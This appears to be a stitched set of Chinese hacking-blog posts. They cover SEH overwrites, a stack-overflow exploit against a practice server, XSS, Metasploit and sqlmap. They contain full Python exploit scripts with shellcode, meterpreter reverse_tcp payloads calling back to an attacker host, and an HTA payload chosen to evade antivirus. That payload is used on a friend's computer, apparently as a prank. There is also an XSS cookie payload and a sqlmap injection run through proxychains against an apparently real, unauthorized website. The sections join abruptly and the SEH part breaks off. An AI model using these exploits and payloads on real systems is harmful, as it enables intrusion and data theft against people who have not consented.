0%

本文将从一下几点介绍利用S.E.H写shellcode。

  • S.E.H原理
  • 为什么要利用S.E.H
  • SEH_Shellcode构造方法
  • 实际测试

0x01 S.E.H原理

SEH是一个结构体,这个结构体叫做异常处理结构体,每个结构体中有两个指针,第一个指针建立SEH链表,第二个指针指向异常处理函数,换句话说是异常处理函数句柄。

S.E.H的构造如下

1
2
3
4
5
 --------------------------
|DWORD: Next S.E.H recoder |
--------------------------
|DWORD: Exception handler |
--------------------------

  • S.E.H 按照级别可分为:线程的异常处理、进程的异常处理、系统默认的异常处理(U.E.F),其整体的处理流程为:
  • CPU 执行时发生未捕获异常,内核结果进程的控制权,开始内核态的异常处理。
    内核异常结束,将控制权还给 ring3.
  • ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher() 函数。
  • KiUserExceptionDispatcher() 首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
  • 在非调试状态下,KiUserExceptionDispatcher() 调用 RtlDispatchException() 函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
  • 如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter() 函数设定进程处理异常,则这个异常处理将被调用。
  • 如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter() 将会被调用。U.E.F 会根据注册表中相关信息决定是默默地关闭程序,还是弹出错误对话框。

利用S.E.H的shellcode的基本想法就是通过控制输入,利用栈溢出来覆盖S.E.H结构体,

0x02 为什么要利用S.E.H

首先,我们要明确的是本文并不能绕过数据执行保护,利用S.E.H绕过的是对于安全cookie的检测。

安全cookie是什么?

所谓安全cookie是在进入函数压栈的时候,在压栈之中加入一个cookie,这个cookie很有可能是个随机的值,因而无法构造,在函数执行返回的时候程序检查这个cookie的值是否正确,如果正确,说明栈没有溢出,不正确,说明发生了栈溢出。这就是利用cookie进行的栈保护。

那么为什么利用S.E.H可以绕过这个保护呢?

答案很明显,当函数产生异常的时候,在函数返回之前,就触发了异常处理,而跳过了检查cookie的这一步。

0x03 SEH_Shellcode 构造方法

既然是覆盖SEH结构体,那就要自己构造一个结构体冒充原来的S.E.H结构。

经典的用法是这样的:

1
2
eb 06 90 90 (jmp 06 nop nop)
xx xx xx xx (ppr_address)

ppr_address的意思是pop pop ret三个命令所在的地址。这个小插件几乎会在每一个程序中出现。

看到这里的时候其实有一点我是没有弄懂的,因为之前以为Next S.E.H recoder这个变量是指针,指针就应该是地址,为什么是一句命令呢?后来我才知道这个DWORD实际上是一段命令

栈溢出基本上是学习逆向的第一步,也是最简单的漏洞之一。现在的操作系统上已经很难单纯的利用栈溢出漏洞。利用pwn5.exe这个程序的栈溢出漏洞练习一下栈溢出漏洞的手动寻找与利用。

源程序下载

  • 栈溢出简介
  • 寻找溢出漏洞
  • 漏洞利用
  • 深度利用

栈溢出简介

栈溢出是这样的一种漏洞。当程序使用了一些危险函数或者由于各种各样的原因,对用户输入的检查不严格,导致用户输入的数据本应在栈上作为数据进行存储,却被当作代码运行的一种漏洞。

本文用jmp esp利用上述软件的漏洞。

寻找溢出漏洞

先看一下整个程序的大概情况,明确这个程序的功能。

用IDA Pro打开这个程序,调用F5插件看一下main函数伪代码,很明显是一个Socket,绑定2993端口。

sub_4010B0这个函数很像是用户自己编写的函数,应该是用户自己编写的代码。双击这个函数进去看一下,发现了一个判断用户输入来进行响应的处理,在USERNAME这一个条件里又看到了一个IDA不认识名字的函数,进去看一下。

看到一个for循环,乍一看不知道是干什么,但是,一点一点仔细看下来很明显是字符串拷贝,修改变量名,这样看起来就清晰多了。

这个字符串拷贝很明显没有加什么保护措施,这样的代码一定是有问题的。

再看一下程序给这个字符串开辟的长度是多少。

我们先尝试用多于512个字节的数据覆盖掉这个函数的的返回地址。看是否能成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
from zio import *
host = "172.16.189.218"
port = 2993
tul = zio((host,port))
tul.read_until('*************** Welcome to take the challenge!*****************\n')
ch = 'a'
ss = ch
try:
while True:
ss = ss + ch
tul.write('USERNAME' + ss + '\x0d\x0a')
except:
print len(ss)

程序崩溃了,再用OD看一下。

很明显可以看到esp所在的栈地址被aaaa覆盖。

漏洞利用

接下来构造shellcode。

看到栈空间的布局之后,计算shellcode在栈中的位置,注意的是栈的对齐,即jmp esp时esp的位置一定是4的整数倍。

这次采用二次跳转的方式执行shellcode。


为什么用sub一个负数来调整栈位置呢?因为如果使用正数,字符串中就会出现\x00,字符串拷贝函数就会从这里截断。

这里就是我们的shellcode了。

弹出了一个cmd,下面是shellcode的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
from zio import *
host = "172.16.189.218"
port = 2993
io = zio((host,port))
io.read_until('*************** Welcome to take the challenge! *****************\n')
shellcode =("\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
"\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
"\x65\x20\x2f\x63\x20\x63\x6d\x64")
print len(shellcode)
# print shellcode.encode('hex')
ret = 0x0012f3d4
io.write('USERNAME ' + 'a'*3 + '\x81\xEC\xC8\xFE\xFF\xFF\xFF\xE4' + shellcode + '\x90'*(511-11-len(shellcode)) + l32(ret) + '\x0d\x0a')

深度利用

用msfvenom生成一段shellcode。


root@bogon:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.189.233 lport=8081 -f python -b '\x00' -n 12

新的攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from zio import *

host = "172.16.189.218"

port = 2993

io = zio((host,port))

io.read_until('*************** Welcome to take the challenge! *****************\n')
buf = ""
buf += "\x3f\x9f\x49\xf8\x3f\xd6\xfd\x41\x92\xfc\x41\x41\xdb"
buf += "\xd3\xd9\x74\x24\xf4\xb8\xc1\xf9\xbb\x2a\x5a\x2b\xc9"
buf += "\xb1\x54\x31\x42\x18\x03\x42\x18\x83\xea\x3d\x1b\x4e"
buf += "\xd6\x55\x5e\xb1\x27\xa5\x3f\x3b\xc2\x94\x7f\x5f\x86"
buf += "\x86\x4f\x2b\xca\x2a\x3b\x79\xff\xb9\x49\x56\xf0\x0a"
buf += "\xe7\x80\x3f\x8b\x54\xf0\x5e\x0f\xa7\x25\x81\x2e\x68"
buf += "\x38\xc0\x77\x95\xb1\x90\x20\xd1\x64\x05\x45\xaf\xb4"
buf += "\xae\x15\x21\xbd\x53\xed\x40\xec\xc5\x66\x1b\x2e\xe7"
buf += "\xab\x17\x67\xff\xa8\x12\x31\x74\x1a\xe8\xc0\x5c\x53"
buf += "\x11\x6e\xa1\x5c\xe0\x6e\xe5\x5a\x1b\x05\x1f\x99\xa6"
buf += "\x1e\xe4\xe0\x7c\xaa\xff\x42\xf6\x0c\x24\x73\xdb\xcb"
buf += "\xaf\x7f\x90\x98\xe8\x63\x27\x4c\x83\x9f\xac\x73\x44"
buf += "\x16\xf6\x57\x40\x73\xac\xf6\xd1\xd9\x03\x06\x01\x82"
buf += "\xfc\xa2\x49\x2e\xe8\xde\x13\x26\xdd\xd2\xab\xb6\x49"
buf += "\x64\xdf\x84\xd6\xde\x77\xa4\x9f\xf8\x80\xcb\xb5\xbd"
buf += "\x1f\x32\x36\xbe\x36\xf0\x62\xee\x20\xd1\x0a\x65\xb1"
buf += "\xde\xde\x10\xb4\x48\x4d\xf4\x0b\x61\xe5\xf7\x73\x6e"
buf += "\x67\x7e\x95\xc0\xd7\xd1\x0a\xa0\x87\x91\xfa\x48\xc2"
buf += "\x1d\x24\x68\xed\xf7\x4d\x02\x02\xae\x26\xba\xbb\xeb"
buf += "\xbd\x5b\x43\x26\xb8\x5b\xcf\xc3\x3c\x15\x38\xa1\x2e"
buf += "\x41\x59\x49\xaf\x91\xf0\x49\xc5\x95\x52\x1d\x71\x97"
buf += "\x83\x69\xde\x68\xe6\xe9\x19\x96\x77\xd8\x52\xa0\xed"
buf += "\x64\x0d\xcc\xe1\x64\xcd\x9a\x6b\x65\xa5\x7a\xc8\x36"
buf += "\xd0\x85\xc5\x2a\x49\x13\xe6\x1a\x3d\xb4\x8e\xa0\x18"
buf += "\xf2\x10\x5a\x4f\x81\x57\xa4\x0d\xa7\xff\xcd\xed\xe7"
buf += "\xff\x0d\x84\xe7\xaf\x65\x53\xc8\x40\x46\x9c\xc3\x08"
buf += "\xce\x17\x85\xfb\x6f\x27\x8c\x5a\x2e\x28\x22\x47\x27"
buf += "\xa7\xc5\x78\x48\x49\xfa\xae\x71\x3f\x3b\x73\xc6\x30"
buf += "\x76\xd6\x6f\xdb\x78\x44\x6f\xce"
shellcode = buf
print len(shellcode)
# print shellcode.encode('hex')
ret = 0x0012f3d4
io.write('USERNAME ' + 'a'*3 + '\x81\xEC\xC8\xFE\xFF\xFF\xFF\xE4' + shellcode + '\x90'*(511-11-len(shellcode)) + l32(ret) + '\x0d\x0a')

成功获得Meterpreter的shell,接下来就是meterpreter的各种用法了。

XSS(Cross Site Scipting),即跨站脚本攻击。是目前Web漏洞中最常见的,没有之一。

XSS原理

例如下面的一段textbox代码

1
<input type="text" name="address1" value="XXX">

XXX是来自用户的输入,但是这段代码没有对XXX进行过滤,直接嵌入在代码中,如果用户输入的是

1
"/><script>alert(document.cookie)</script><!-

观察一下效果:

1
2
<input type="text" name="address1" value=""/>
<script>alert(document.cookie)</script><!- ">

这样,当事件被触发的时候,JavaScript代码将会被执行。

XSS漏洞的原理就是用户输入的数据变成了代码。其实这也是几乎所有漏洞产生的原因————未能区分数据和代码。

xss工具

暂时保留

xss类型

  • 反射型XSS之Dom-Based XSS
  • 存储型XSS

#####Dom-Based XSS:

*tip:普通反射型XSS(现代浏览器拦截):

用DVWA尝试一下普通的反射性XSS:

查看网页源代码:搜索一下name

根据闭合情况构造如下的用户输入

1
""</pre><script>alert(document.cookie)</script><!-

发现什么都没有。
再次查看网页源代码:

在网页中右键点击检查,发现console选项卡中出现了如下情况,是chrome浏览器对反射型xss进行了过滤。

当然如果用户用的是古老版本的IE浏览器,是可以成功的,但是现在有谁还在用呢。。

下面切入正题:DOM-Based XSS:

基本上,DOM-Based XSS的攻击过程就是Bob先建立一个网站,用来偷盗信息,然后再利用XSS构造一个恶意的url,通过各种手段骗取Alice点击这个url,Alice的cookie等信息就会发送到这个url执行。

演示暂时保留。

存储型 XSS:

Zebork的黑客之路进行的颇为不同寻常,metasploit是第一个接触到的工具,很少有做渗透的人刚开始会研究这个内网渗透神器吧。对于metasploit研究必须搁置一段时间,因为要花更多的时间去研究Web渗透和软件漏洞(软件漏洞是因为人在江湖,身不由己)。有必要把现在学会的metasploit一些坑点记下来,等到真正开始内网渗透的时候就不会再陷入坑中。

0x01 metasploit初始化服务和数据库

metasploit初始化服务还是比较简单的,本人没有遇到什么困难,记得打开msfconsole之前敲一段命令。下面代码中的第一行。第二行现在新版的metasploit应该是不能用了,但是敲一下试试,万一运气好呢。

1
2
service metasploit start
service postgresql start

先打开msfconsole,输入db_status查看数据库连接状态

发现没有连接。

本人实在Debian vps上尝试搭建metasploit而不是kali,所以先下载postgresql。

1
2
apt-get install postgresql
service postgresql start

发现服务开启成功。

坑爹的情况出现了,vps 1G内存已经不够用了。。

看来加载metasploit攻击环境的vps是需要很大的内存的,把这个vps进行resize,增大一下内存。但是这样的vps价格达到了20$每月,平时的时候存储为镜像是个不错的选择,想要攻击的时候再通过镜像创建vps。

resize之后重新打开vps,开启服务,打开msfconsole,看到数据库已经连接完成。

msfconsole中可以打开nmap,不要忘了先apt-get安装

0x02 metasploit自动化攻击模块

准备工作是需要做好的,因为新版的msf中并没有自动化攻击脚本,我们需要自己下载。我已经下载好了一个。

自动攻击模块下载

先尝试load这个模块,发现找不到,其实我是想看一下应该保存在哪里。

再次尝试load

用portscan和db_autopwn演示一下自动攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds

msf auxiliary(tcp) > set RHOSTS 112.XX.XX.XX
RHOSTS => 112.XX.XX.XX
msf auxiliary(tcp) > set THREADS 20
THREADS => 20
msf auxiliary(tcp) > run

当扫描完成之后,可以开始自动化攻击。

1
2
3
4
5
6
7
8
9
10
11
msf auxiliary(tcp) > db_autopwn -t -p -r -e
[-] The db_autopwn command is DEPRECATED
[-] See http://r-7.co/xY65Zr instead
[-]
[-] Warning: The db_autopwn command is not officially supported and exists only in a branch.
[-] This code is not well maintained, crashes systems, and crashes itself.
[-] Use only if you understand it's current limitations/issues.
[-] Minimal support and development via neinwechter on GitHub metasploit fork.
[-]
[*] Analysis completed in 41 seconds (0 vulns / 0 refs)

接下来自动化攻击开始。

一般情况下拿不到session,跑着吧

0x03 msfvenom payload

好玩的来了。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=175.xxx.xxx.xxx lport=8081 -f hta-psh -o test.hta

一般来说windows的payload多为exe格式,但是win7之后可以尝试使用hta,更容易达到免杀的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:

Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST XX.XX.XX.XX
LHOST => XX.XX.XX.XX
msf exploit(handler) > set LPORT 8081
LPORT => 8081
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST XX.XX.XX.XX yes The listen address
LPORT 8081 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit

[*] Started reverse TCP handler on XX.XX.XX.XX:8081
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to XX.XX.XX.XX
[*] Meterpreter session 1 opened (XX.XX.XX.XX:8081 -> XX.XX.XX.XX:3186) at 2016-03-24 09:47:00 -0400

键入help命令

1
2
3
4
5
6
7
8
9
10
11
meterpreter > getuid
Server username: XXXXX\XXXX
meterpreter > sysinfo
Computer : XXXXX-PC
OS : Windows 10 (Build 10586).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/win64
meterpreter >

其实我是用哥们的电脑测试的,为了好玩,我给他上传了一个txt

1
2
3
4
5
6
7
8
9
meterpreter > upload /tmp/hello.txt
[*] uploading : /tmp/hello.txt -> /tmp/hello.txt
[*] uploaded : /tmp/hello.txt -> /tmp/hello.txt
meterpreter > shell
...
C:\tmp>notepad hello.txt
notepad hello.txt

C:\tmp>

然后就可以听到哥们的叫声啦~

虽然用工具比较low,但是先用工具,也许是走的最快的一条路。

0x01 工具列表:

  • awvs 可以在吾爱破解论坛上下载

  • sqlmap 注入神器

    ####0x02 扫描漏洞:

  • 填入要扫描的网站url


  • 选择相关联的url


  • 经过一段时间的扫描之后,漏洞信息在列表中显示


  • 右侧可以看到每一个漏洞的介绍和对应的信息,


0x03 用sqlmap攻击注入点



攻击代码(用proxychains挂代理):

1
proxychains sqlmap -u http://xx.xx.cn/ACTIONSHOWFILES.APPPROCESS?FolderID=102%20AND%203*2*1%3d6%20AND%20998%  --risk 3 --level 5 --dbs


看到数据库是Oracle,Oracle数据库的提权是个坑,如果成功拿到权限,会在下一篇叙述。